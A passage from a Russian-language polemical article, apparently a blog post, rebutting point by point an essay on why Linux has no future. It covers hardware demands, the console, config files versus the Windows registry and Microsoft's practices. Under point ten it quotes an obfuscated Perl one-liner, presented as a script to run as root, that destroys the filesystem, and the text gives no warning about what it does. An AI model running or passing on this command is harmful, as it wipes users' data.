Прежде чем начать...

Это статья — ответ на статью «28 причин почему Linux не имеет будущего». В силу этого в статье будет много цитат с вопиющими фактами невежества и некомпетентности автора(ов) «28 причин...». С моей точки зрения они знают о Linux только по картинкам и статьям людей, подобных им, т.е. невеждам.

П.с. Чувствую себя одним из разрушителей легенд на Дискавери =)

Пункт первый - «Linux лучше подходит для продвинутых пользователей - Windows для начинающих.»

Linux подходит человеку, знающему чего он хочет от своего кремниевого друга. Linux дает свободу, он более гибок, нетребователен к железной части ПК. К примеру я с Linux могу одну машину настроить для одновременного использования несколькими людьми. Да, да , два (и больше) монитора, клавы, мышки и так далее, но один системный блок. А вы с Windows такое можете? Я могу на Pentium III 500Mhz смотреть HD — видео 720р без аппаратного ускорения. А вы DVD сможете на такой конфигурации посмотреть под Windows? Я могу настроить Linux так как мне нужно до мелочей, а не так как за меня решили. Могу выкинуть неиспользуемые компоненты. В конце концов я могу ощутимо поднять производительность приложений их перекомпиляцией под определенный процессор с учетом его особенностей, предварительным связыванием библиотек и самих приложений. Конечно, многим это не нужно, многим нужно, но не сразу. Но я хочу выжать из своей системы 100% производительности и удобства, и Linux в отличие от Windows может мне это дать. И таким как я и нужен Linux.

Пункт второй - «Linux используют только профессионалы»

«К примеру, только в страшном сне дизайнер или архитектор может представить себе, что его заставили использовать Linux» - гласит нам автор статьи. В принципе да, если его пересадить с Windows + AutoCAD на Linux +qcad его и застрелят, но он ничего путевого не сделает. Потому что он знает ТОЛЬКО AutoCAD и ничего более. Некоторых даже другие иконки вводят в ступор, и что теперь? А теперь давайте поменяем сиутацию, тот же архитектор с мальства сидит на Linux + qcad и его пересадили на Windows + AutoCAD. Его тоже пристрелят ибо он просто не знает как работать с этой программой и все тут... И Linux тут совершенно не при чем. Программы для работы с чертежами, изображениями, презентациями, документами и т.д. есть везде, просто есть такое понятие как «Меня другому не учили»

Пропускаю пункт третий - «Linux учит думать - от Windows пользователь тупеет», ибо это и вовсе ребятчество.

Пункт четвертый:

Не могу не процитировать столь красочную историю. У автора однозначно богатая фантазия. Особенно понравилось про секту:)

«Пользователи Linux мирно существуют и никому ничего не навязывают.

Как только появились линуксоиды, появилось стремление с их стороны противопоставить себя окружающим. Задолго до Linux все было тихо и мирно. Были пользователи Mac, были пользователи Amiga, пользователи Windows и пользователи других систем. Ключевое слово тут именно пользователи. С момента начала "победоносного" шествия Linux по планете выяснилось, что оказывается все другие люди относятся ко второму сорту, если они не понимают и не принимают все прелести использование Linux. Разумеется, ряд разногласий из разряда "что лучше Mac или Amiga" был всегда. Но тут не было главного, - тут не было идеологии, которая как раз таки появилась вместе с Linux. Если у других систем и платформ были те или иные конкурентные преимущества, то у Linux не было ни того не другого. Действительно, что было у Linux? У него не было ровным счетом никаких достоинств! Но так продвигать систему было невозможно, нужно было что-то, выделяющее ее на фоне остальных, что-то, что можно будет скормить широким массам под видом общего блага. Этим благом стала идея открытости.

Подобное мы можем наблюдать в различных сектах. Там, как правило, тоже есть идея некого счастья, приближения к абсолюту и т.д. Заметьте, что секты отличает та самая узость мышления, вокруг которой выстраивается весь фундамент учения. Таким образом Linux стал двойным ядром. С одной стороны он представлял собой ядро, как центральную часть системы, с другой он оказался ядром, как точкой сплочения приверженцев секты. Как только у группы людей начинает расти свое самосознание и чувство своей отличности от других, у этой группы появляется свое само-наименование. Вот тут то и появляется термин "линуксоид". И как только накопилась некая критическая масса фанатиков, была начата политика тотального навязывания и насаждения Linux. Хитрая спекуляция понятиями, свободами и ценностями преследовала главной целью убедить широкие массы в том, что Linux имеет целый ряд перспектив и что он им просто необходим в реальной жизни. Все несогласные стали получать клеймо ламеров, неспособных понять и разобраться. Именно с подачи линуксоидов появился едкий нарицательный термин "виндузятник", который обозначал не кого иного, как простых пользователей (!). Таким образом именно линуксоидами было создано разделение на согласных и несогласных и именно ими была начата политика активного расширения границ своей секты за счет тех людей, которые боялись получить клеймо неудачников, не способных работать с Linux. С этого началось агрессивное навязывание Linux широким массам.»

Собственно стоит отметить, что пользователи Windows (виндузятники, да:-D) далеко не так безобидны как об этом написано. Во многом они намного агрессивнее и наиболее рьяно распространяют свое учение о том, какой линукс плохой, не брезгуя клеветой и ложью. Эти слова подтверждает сам факт существования статьи — оригинала, на которую я сейчас отвечаю, особенно скопированый оттуда текст выше. Обо всем остальном судите сами.

Конечно можно было бы написать здесь пару страничек в ответ, но незачем. Стараюсь придерживаться технического направления статьи, без столь обширных фантазий про внутренний мир пользователей Windows и их идола в виде ныне Стива Баллмера и вообще корпорации Micro$oft в целом Тут же хочется коснуться политики компании Майкрософт в отношении распроостранения продуктов и конкуренции. Почему когда я покупаю себе новую машину, независимо десктоп это или ноутбук я обязательно вижу там Windows без возможности выбора? Зачем Майкрософт выкупает компании конкурентов и замораживает их? Разве это нормально? Разве после этого линуксоиды еще и агрессивные?

Пункт пятый - «Доля Linux растет с каждым годом»

Эта самая доля измеряется путем вычисления процентной доли ОС, с которой побывали на каком - либо сайте. И значит эта доля очень расплывчата, т.к:

1: Сервера под Linux и встраиваемая техника не ходят по сайтам

2: У многих пользователей нет интернета

3: Многие пользователи маскируют свои linux - браузеры под windows — браузеры, т.к. зачастую иначе просто нельзя попасть на интересующий сайт. И это далеко не все причины «малой» доли Linux на рынке.

«Так же, заметьте, что этот процент разбросан по десятку "популярных" дистрибутивов ! То есть даже тут нет никакого единства!» - написано в статье. А сколько пользователей держит на своем ПК по несколько копий Windows? Самый распространенный вариант — Windows XP + Windows Vista, в последнее время многие также для теста ставят Windows Seven. «Нет никакого единства!» :) (Читать на манер «Акелла промахнулся!»)

Пункт шестой: «Под Linux много программ»

Достаточно. «Да только 90% из них нафиг не нужны простому пользователю.» - вы не поверите, в Windows вирусов на порядки больше, чем реально используемых и полезных программ:)

«Пользователь, если задаст подобный вопрос линуксоиду, получит ответ, что это делается одной командой. Но, во-первых, эту команду нужно знать, а во-вторых кто сказал, что ей все ограничится?»

Хорошо, в windows это делается одной программой. Но во-первых, эту программу нужно знать... и далее по тексту из цитаты. К примеру взять архитрагичную историю про .pdf файл и 1500 рублей:

«Мне вот тут недавно потребовалось заполнить данные в одной интерактивной форме. Заполнение формы "на месте" стоило 500 рублей. Мне нужно было заполнить три разных копии. Все это я мог сделать и дома, но вот только в Linux предоставленный мне PDF если и открывался, то напечатать ничего не получалось. То в программе нет поддержки, то вместо букв ерунда какая-то печатается. В итоге у меня была великолепная возможность отдать 1500 рублей за то, что другие люди впечатают нужные буквы в нужные места, а я как дурак бы продолжил гордиться своей исключительностью и тем, что я использую Linux. Вы готовы иметь подобную перспективу?»

Gimp, Kpdf замечательно открывают и редактируют такие файлы, как и множество других. Или же, если не устраивает OpenOffice, Dia и Kivio отлично рисуют диаграммы, о коих упоминал автор оригинальной статьи. Этот рассказ только подтверждает мою теорию о том, что установив линукс, люди хотят увидеть в нем виндовс, но безопаснее, надежнее и круче, а видят совершенно другое, незнакомое и пугающее, даже более того, они требуют привычные программы а не найдя их ставят привычную ОС и начинают писать статьи о том, какой линукс плохой. Надеюсь моя мысль ясна:) Думаю, сюда же можно приписать и седьмой пункт: «... но Linux это только ядро!», т.к. он вытекает из предыдущего и якобы является подобием бегства крыс с тонущего корабля в случае если «пользователь Windows» (с) прижмет таки линуксоида несуществующим фактом к стенке:)

Пункт восьмой: «Консоль удобнее GUI»

Пользователи Windows любят покалывать этой фразой и кидаться в крайности, найдя команду, которой ПРИХОДИТСЯ пользоваться на серверных машинах, на которых не установлены графические приложения и цинично тыкать палочкой, мол, «Смотри какая она удобная!». Этот же симптом наблюдается и у автора статьи, приводящего команду «bzip2 -cd foo.tar.bz2 tar -xvf -» Естественно по временному фактору эта команда нерациональна. Но к примеру « echo “gtk-menu-popup-delay = 0″ >> ~/.gtkrc-2.0» вполне рациональна. (добавляет в конец файла gtkrc-2.0, находящегося в домашней директории строчку — параметр gtk-menu-popup-delay = 0. Это установка задержки открытия всплывающих меню в gnome в 0 мс.) Но никто таки не заставляет испоьзовать консоль, делайте как вам удобнее. Единственное исключение — форумы, где сообщество помогает в решении проблем. Там да, говорят «Выполните команду...», но и то только в соображениях совместимости. Консоль-то везде одинаковая, а вот программы, позволяющей сделать описанное в репозитории дистрибутива может и не быть.

Пункт девятый: «Реестр - сакс, конфиги рулят!»

Честно говоря вообще не понял о чем половина главы. Автор, вам чернил времени не жалко? Вы что, подразумеваете написание вручную всех конфигов для поднятия системы? Максимум — правка, и то в уважающем себя дистрибутиве (Debian, Mandriva, AltLinux, Suse) этого делать не нужно.

«Любая ошибка при правке конфигов может просто убить систему - в этом я многократно убеждался на собственном опыте. Заметьте, тут не нужны даже вирусы! Для падения программы или всей системы может хватить того, что при вводе дробного значения вы вместо запятой в качестве разделителя поставите точку.»

Убить никсы можно только повреждением ядра, системы инициализации или их конфигов. И кстати, как ни странно именно это и делают процентов 60 новичков в Linux. В никсах единственный активный по сегодняшний день вирус — прослойка между стулом и клавиатурой. Нехитрые вроде правила: 1: бекапь /etc и все скрытое из /home/username, 2: не уверен — перепроверь, если все еще не уверен — не лезь!

«Что касается реестра. Реестр является единой базой данных для хранения сведений о конфигурации компьютера и настроек операционной системы имеющей с иерархической структурой. К пользователю, кстати, реестр никакого отношения не имеет, и работа с ним может потребоваться только разработчику. Отсюда мне непонятны претензии линуксоидов о том, что им непонятны значения и параметры в нем. Что за стремление лезть куда не попадя и возмущаться от того, что "ничего не понятно"?»

Реестр это конечно уникальная вещь, которая так же имеет уникальное свойство засоряться и тормозить систему. Недаром наверно существуют программы наподобие RegCleaner? :) И еще, простите, какого черта вы лезете в конфиги в Linux с преувеличенными претензиями о том что неверный символ может убить систему, если абсолютно те же самые действия в реестре могут произвести тот же эффект в windows? Не стыдно?

«Писать о преимуществах реестра смысла нет.» (с)

Пункт десятый: «В Linux не требуется владение консолью, все делается из графических утилит»

Не все, но подавляющее большинство настроек делается в GUI. Просто вы не подозреваете о существовании таких утилит, т.к. по умолчанию при установке дистрибутива они не устанавливаются, во избежании повреждения системы.. Как пример - метапакеты gadmin, kdeadmin, kde-guidance, включающие в себя большое количество утилит для администрирования системы

«Вдобавок, в использовании консоли заключается серьезная опасность. Попробуйте запустить следующий скрипт с правами root.

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-}<&`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'»

Ключевая фраза — с правами root. Все, кто хоть немного знает что такое никсы также знают что сидеть под рутом — идиотизм и просто неприично